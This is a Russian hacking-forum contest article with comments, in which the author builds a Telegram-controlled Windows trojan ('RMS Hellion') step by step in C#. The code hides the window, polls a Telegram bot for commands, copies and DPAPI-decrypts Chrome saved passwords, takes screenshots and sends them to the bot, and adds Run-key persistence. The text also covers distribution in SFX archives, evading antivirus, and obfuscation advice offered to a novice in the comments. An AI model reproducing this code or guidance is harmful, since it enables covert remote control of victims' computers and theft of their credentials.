Конкурс RMS Hellion - Telegram

Статья для участия в Конкурсе программистов
RMS Hellion, управление которой происходит через Telegram бота. Производства отечественной компании(то есть чисто меня) специально для Codeby.
Введение

Всем доброго времени суток. Это моя первая статья, поэтому прошу простить мне какие-нибудь неточности. Начну с того почему я выбрал способ управление зараженной машиной, именно, через Telegram Bot. Все очень просто, во-первых нам не нужно думать о серверах, сокетах и прочих вещах. Во-вторых мы можем с любого устройства управлять машиной(так как все происходит через умного бота).
  • Возможность скрытой установки и работы;
  • Связь через Telegram;
  • Файлы самой программы не детектируются;
  • Авто запуск при старте системы;
  • Сбор сведений;
  • Выполнение CMD команд;
  • Работа с файлами;
  • Захват экрана;
  • Кража паролей(Chrome);
  • Простота использования;
1544416426023.png


1544416446050.png
Теперь я расскажу как его можно распространять. Весь наш проект будет лежать в SFX архиве, так как софт самописный, то он пока абсолютно чистый. Но вам никто не мешает его закриптовать(Расскажу как это сделать в следующих статьях). В помощь есть много уроков как создать и работать с SFX архивом.
Начинаем кодить
Шаг первый. Создаем оформление бота через Botfather
BotFather — это бот, через которого регистрируют все остальные боты. Давайте откроем telegram и перейдем по ссылке — BotFather
Собственно сейчас нас интересует команда /newbot, пишем ее и создаем бота указывая его название. Я назову своего бота — Hellion. Нам выдадут токен. Создаем пустой проект WinForms C#, создаем класс Data, где мы будем хранить важные данные и вставляем туда наш токен. Пишем в стиле ООП.
C#:
class Data
    {
        private String _Token = ""; //переменная для хранения токена
        public String getToken()
        {
            return _Token;
        }
    }
Шаг второй. Подключаем все и вся.
Пишем под Visual Studio 2017. Нам необходимо подключить библиотеки.
  • Telegram.Bot;
  • System.Data.SQLite;
  • System.Security.Cryptography.ProtectedData
Шаг третий. Настройка формы
Наша задача сделать форму прозрачной(Opacity 0%), FormBorderStyle(None) и с минимальными размерами Size(0;0), также убираем видимость в панеле задач ShowTaskBar(False)
1544417904522.png


1544417942003.png
Шаг четвертый. Общение с ботом
Наша задача создать worker который будет асинхронно получать команды от бота и их обрабатывать. Открываем главный класс и вставляем:
C#:
BackgroundWorker _bw;
public Hellion()
        {
            InitializeComponent();
            this._bw = new BackgroundWorker();
            this._bw.DoWork += this.Work; //сам метод который будет работать асинхронно

            if (this._bw.IsBusy != true) this._bw.RunWorkerAsync(); //если у нас нет копии воркера то запускаем
        }
Теперь в нашем асинхронном методе будем работать с API Telegram. Вставляем:
C#:
async void Work(object sender, DoWorkEventArgs e)
        {
            var worker = sender as BackgroundWorker; //ссылка на вызвавший событие
            Data _data = new Data(); //экземпляр класса Data для получение токена
            var _key = _data.getToken(); //сам токен
            try
            {
                var _bot = new Telegram.Bot.TelegramBotClient(_key); //инициализация API
                await _bot.SetWebhookAsync("");
                int _offset = 0; //переменная для хранение последненго id сообщения
                //бесконечный цикл
                while (true)
                {
                    var _updates = await _bot.GetUpdatesAsync(_offset); //что-то вроде списка обновлений
                    foreach (var _update in _updates)
                    {
                        var _msg = _update.Message; //получаем обьект - сообщение
                        _chatId = _msg.Chat.Id; //присваеваем переменной id чата

                        if (_msg.Type == Telegram.Bot.Types.Enums.MessageType.Text)
                        {
...
Почти все готово. Следующий шаг это кусок с if else который будет сравнивать наши команды и в зависимости от команды выполнять то или иное действие. Реализуем это с помощью отдельного класса CompareString
C#:
class CompareString
    {
        public bool compare(String temp1, String temp2)
        {
            //проверка содержиться ли в temp1 текст temp2
            //+ переводим в нижний регистр
            if (temp1.ToLower().Contains(temp2.ToLower())) return true; else return false;
        }
    }
Шаг пятый. Reply кнопки
1544418524155.png
Посмотрим как их создавать, для этого создаем класс ReplyBtn и вставляем:
C#:
_keyboardStart = new Telegram.Bot.Types.ReplyMarkups.ReplyKeyboardMarkup
            {
                Keyboard = new[]
                {
                    new[]
                    {
                        new Telegram.Bot.Types.ReplyMarkups.KeyboardButton("/Info"),
                        new Telegram.Bot.Types.ReplyMarkups.KeyboardButton("/Control"),
                        new Telegram.Bot.Types.ReplyMarkups.KeyboardButton("/Steal"),
                        new Telegram.Bot.Types.ReplyMarkups.KeyboardButton("/Help")
                    }
                },
                ResizeKeyboard = true
            };
То есть у нас получить большой список разных клавиатур. Давайте рассмотрим обработку одной из команд.
Код:
if (_compareString.compare(_msg.Text, "/start"))
                                _sendMsg.sendText(_chatId, "", _replyBtn.getKeyboardStart());
Что мы имеем? У нас есть метод класса CompareString который возвращает true/false в зависимости от того равны ли строки(не совсем так) в качестве аргументов у нас выступает _msg.Text(текст полученный от бота) и наша строка "/start". Затем я отправляю боту _sendMsg.sendText 2 аргумента id чата и нашу reply-клавиатуру. Взглянем на наш класс SendMsg
Код:
//отправка просто сообщения с текстом
        async public void sendText(Telegram.Bot.Types.ChatId _id, String _text)
        {
            if (!string.IsNullOrEmpty(_text.Trim(' ')))
            {
                var _bot = new Telegram.Bot.TelegramBotClient(_data.getToken()); //инициализация API
                await _bot.SetWebhookAsync("");
                await _bot.SendTextMessageAsync(_id, _text); //отправка сообщения боту
            }
            else
            {
                //какое-то действие если сообщение пустое
            }

        }
Шаг шестой. DPAPI и кража паролей Chrome
Data Protection API (DPAPI) — криптографический интерфейс программирования приложений в ОС семейства Windows, обеспечивающий защиту (конфиденциальность) данных путём их шифрования. Взято с вики не ругайтесь. Основная цель этой технологии защищать пароли без гемора для пользователя, но затруднять доступ для злоумышленников.
Если кто-то хочет узнать поподробнее, то вот держите - DPAPI на пальцах
. Теперь к сути, нам нужно достать файл с паролями. Храниться он в:"C:\Users\Codeby\AppData\Local\Google\Chrome\User Data\Default\". . По факту это простая sqlite база данных. Но есть одно НО пароли хранятся не в открытом виде, а нам нужно их достать и отправить. В таблице 'logins' нас будут интересовать следующие колонки origin_url (ссылка на сам сайт), username_value(логин), password_value(пароль) .
Опять создаем класс который будет извлекать и дешифровывать данные.
Кстати, прежде чем работать с БД, нам необходимо ее скопировать.
Объявление нужных переменных
Код:
private static String _pathLocalDB = @"Login Data"; //название БД
        private static String _pathSystemDB = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data"; //путь где лежит БД
        private static String _fieldDB = "logins"; //имя поле базы данных
        private static byte[] _entropy = null; //энторпия
Метод для копирование БД:
C#:
 private void copyDB()
        {
            System.IO.File.Copy(_pathSystemDB, "Login Data", true);
        }
Метод который будет дешифровывать наши пароли:
C#:
byte[] _byteArray = (byte[])record[2];
                    byte[] _dectypt = ProtectedData.Unprotect(_byteArray, _entropy, DataProtectionScope.CurrentUser);
                    String _password = new UTF8Encoding(true).GetString(_dectypt);
Для того чтобы получить расшифрованные пароли, нам необходимо воспользоваться методом ProtectedData.Unprotec, в качестве аргументов она принимает байты которые нам необходимо расшифровать, энтропию, и уникальные данные текущего ПК. Если кто-то не знает, то расшифровать пароли можно только на том ПК на которым они были зашифрованы.
Можно добавить расшифровку с браузера Firefox. Насколько я знаю — там используется алгоритм Triple-DES, а ключ находится в файле key3.db. Ну а пароли в signons.sqlite. Тем самым добавив функционал в RMS.
Шаг седьмой. Отправка скриншотов
Метод который делает скрин и сохраняет его:
Код:
Bitmap _bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
                Graphics _g = Graphics.FromImage(_bitmap as Image);
                _g.CopyFromScreen(0, 0, 0, 0, _bitmap.Size);
                Image _img = _bitmap;
                _img.Save("snap.png");

Метод в классе SendMsg который отправляет изображения:
C#:
async public void sendImage(Telegram.Bot.Types.ChatId _id, String _text, String _localPath)
        {
            var _bot = new Telegram.Bot.TelegramBotClient(_data.getToken()); //инициализация API
            await _bot.SetWebhookAsync("");
            try
            {
                using (System.IO.Stream stream = System.IO.File.OpenRead(_localPath))
                {
                    await _bot.SendPhotoAsync(
                    chatId: _id,
                    photo: stream,
                    caption: _text
                );
                }
            ...
Шаг восьмой. Реализация запуска при старте системы
C#:
class AutoRun
    {
        public AutoRun(bool autorun, String _name)
        {
            string ExePath = System.Windows.Forms.Application.ExecutablePath;
            RegistryKey reg;
            reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
            try
            {
                if (autorun) reg.SetValue(_name, ExePath);
                else reg.DeleteValue(_name);
                reg.Close();
            }
            catch{}
        }
    }
Шаг девятый. Сбор информации
Краткая информация о системе:
C#:
public String getInfoLittle()
        {
            if (System.IO.File.Exists("info.txt")) System.IO.File.Delete("info_small.txt");
                info_temp = "Версия Windows: " + Environment.OSVersion + "\n" +
                "64 Bit операционная система? : " + (Environment.Is64BitOperatingSystem ? "Да" : "Нет") + "\n" +
               "Имя компьютера : " + Environment.MachineName + "\n" +
                "Число процессоров : " + Environment.ProcessorCount + "\n" +
                "Системная папка : " + Environment.SystemDirectory + "\n" +
                "Логические диски :" + "\n" +
                 (String.Join(", ", Environment.GetLogicalDrives())
                .TrimEnd(',', ' ')
                .Replace("\\", String.Empty));
            using(System.IO.StreamWriter sw = new System.IO.StreamWriter("info_small.txt", false, Encoding.Default))
            {
                sw.WriteLine(info_temp);
            }
            return ("info_small.txt");
        }
Информация об установленном ПО:
C#:
public String getInfoApplications()
        {
            if (System.IO.File.Exists("info_app.txt")) System.IO.File.Delete("info_app.txt");
            ManagementObjectSearcher searcher_soft = new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_Product");
            foreach (ManagementObject queryObj in searcher_soft.Get())
            {
                info_temp += "<soft> Caption: {0} ; InstallDate: {1}</soft>" +
                                  queryObj["Caption"]+ queryObj["InstallDate"];
            }
            using(System.IO.StreamWriter sw = new System.IO.StreamWriter("info_app.txt", false, Encoding.Default))
            {
                sw.WriteLine(info_temp);
            }
            return "info_app.txt";
        }
Также имеется сбор информации о дисках, памяти, видео ядре и много другого
На этом все, теперь нам остается только собрать весь проект(мы получим наш заветный exe) и добавить в SFX архив с правильными настройками. ВАЖНО при добавление сего добра в архив, нам нужно также добавить библиотеки.

1544421179721.png


Исходники:
Сам готовый RMS:
Вот ссылка на бота, с помощью которого вы можете протестировать ПО - @hellion_admin_bot

Если будут вопросы, проблемы можно писать мне сюда либо в телеграмм @debug_x
Также могу приложить скрины как это выглядит прямо в Telegram Bot:

1544366324341.png


1544365934006.png


Видео по настройке

 

cathome

Green Team
26.11.2017
11
5
BIT
1
отличный рмс, но 1 вопрос. Можно ли подключить к нему несколько компьютеров?
 

Debug

Red Team
07.07.2017
217
445
BIT
5
А на территории РФ бот будет работать?
Знакомые тестировали все работало, но у них с Telegram проблем нет. Если у вас есть доступ к Telegram все должно работать. Если будут проблемы дайте мне знать, решим проблему.

Могу снять видео, как правильно настроить и использовать по
 
  • Нравится
Реакции: Jeik Miller

cathome

Green Team
26.11.2017
11
5
BIT
1
Знакомые тестировали все работало, но у них с Telegram проблем нет. Если у вас есть доступ к Telegram все должно работать. Если будут проблемы дайте мне знать, решим проблему.

Могу снять видео, как правильно настроить и использовать по
я думаю что если не будет работать изза блокировок(которые давно отменили) то можно прикрутить прокси к боту
 

Jeik Miller

One Level
17.04.2018
8
2
BIT
0
Знакомые тестировали все работало, но у них с Telegram проблем нет. Если у вас есть доступ к Telegram все должно работать. Если будут проблемы дайте мне знать, решим проблему.

Могу снять видео, как правильно настроить и использовать по
Привет отличная бот ну пока я новечок помогите мне прошу может видео урок это будет для мня много полезно за ране спс и удачи вам
 

Debug

Red Team
07.07.2017
217
445
BIT
5
Привет отличная бот ну пока я новечок помогите мне прошу может видео урок это будет для мня много полезно за ране спс и удачи вам
Я видео урок сделаю - сегодня, завтра. Можете мне написать в телеграмм @debug_x .Соберу специально для вас). Также затрону пункт как правильно обфусцировать код, чтобы на выходе получался уникальный exe. Пусть это и затронет только сигнатурный тип поиска AV
 

Fox007

One Level
07.12.2018
2
1
BIT
0
Привет ! У тебя появилась классная идея чтобы RMS работал через телеграмм, я вижу в этой идеи огромное количество плюсов) И однозначно считаю что такая тема достойна победы в конкурсе! Но в твоей статье есть некоторые проблемы. Если разделить ее на 2 части: идею и реализацию, то идея однозначно отличная, а вот реализации я к сожалению совсем не увидел. В качестве реализации ты приводишь какие то настолько общие моменты, которые без проблем может сделать школьник в 8 классе. Лично я вижу тут (Ctrl + C , Ctrl + V) с доков телеги и msdn. На мой взгляд тебе лучше переименовать статью в "Трояны для начинающих", либо делать более качественный контент. Например в данной теме неплохо было бы разработать протокол для передачи сериализованных данных, либо о преимуществах перед антивируса и и фаерволами твоего способа. Кроме такой критики хотел бы тебе дать совет : Если ты ещё новичок в этой теме, то почитай больше статей на этом и других сайтах, развивайся в этой теме, а когда пора будет тебе самому писать статьи - ты поймёшь.
 
Последнее редактирование:

Debug

Red Team
07.07.2017
217
445
BIT
5
Привет ! У тебя появилась классная идея чтобы RMS работал через телеграмм, я вижу в этой идеи огромное количество плюсов) И однозначно считаю что такая тема достойна победы в конкурсе! Но в твоей статье есть некоторые проблемы. Если разделить ее на 2 части: идею и реализацию, то идея однозначно отличная, а вот реализации я к сожалению совсем не увидел. В качестве реализации ты приводишь какие то настолько общие моменты, которые без проблем может сделать школьник в 8 классе. Лично я вижу тут (Ctrl + C , Ctrl + V) с доков телеги и msdn. На мой взгляд тебе лучше переименовать статью в "Трояны для начинающих", либо делать более качественный контент. Например в данной теме неплохо было бы разработать протокол для передачи сериализованных данных, либо о преимуществах перед антивируса и и фаерволами твоего способа. Кроме такой критики хотел бы тебе дать совет : Если ты ещё новичок в этой теме, то почитай больше статей на этом и других сайтах, развивайся в этой теме, а когда пора будет тебе самому писать статьи - ты поймёшь.
Спасибо за критику. У меня имеется опыт в кодинге, но темой вирусов я познакомился недавно. CTRL + C / CTRL + V я не занимаюсь. Также хочу сказать, что до этого я не писал статьи, это мой первый опыт). Насчет реализации я побоялся писать не для подкованных людей. Статья и имела цель - показать новичкам, что все гениальное просто. Эта статья поэтому и выложена в каталоге C#. Это просто урок. Тебе же огромное спасибо.
 
  • Нравится
Реакции: loodoo4ka и Jeik Miller

Jeik Miller

One Level
17.04.2018
8
2
BIT
0
ден доброе ждём видео брат когда будет интиресно ?
очен хорошое тема мене понравился надеюсь что получеш 1- место!!!
 
  • Нравится
Реакции: Debug

Debug

Red Team
07.07.2017
217
445
BIT
5
ден доброе ждём видео брат когда будет интиресно ?
очен хорошое тема мене понравился надеюсь что получеш 1- место!!!
Времени никак нет сесть и снять. Насчёт 1 места все зависит от Вас. Вам я благодарен за хороший отзыв.
 
O

OneDollar

Отлично, зашла статья прям) лайк и подписка как говорится ...)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!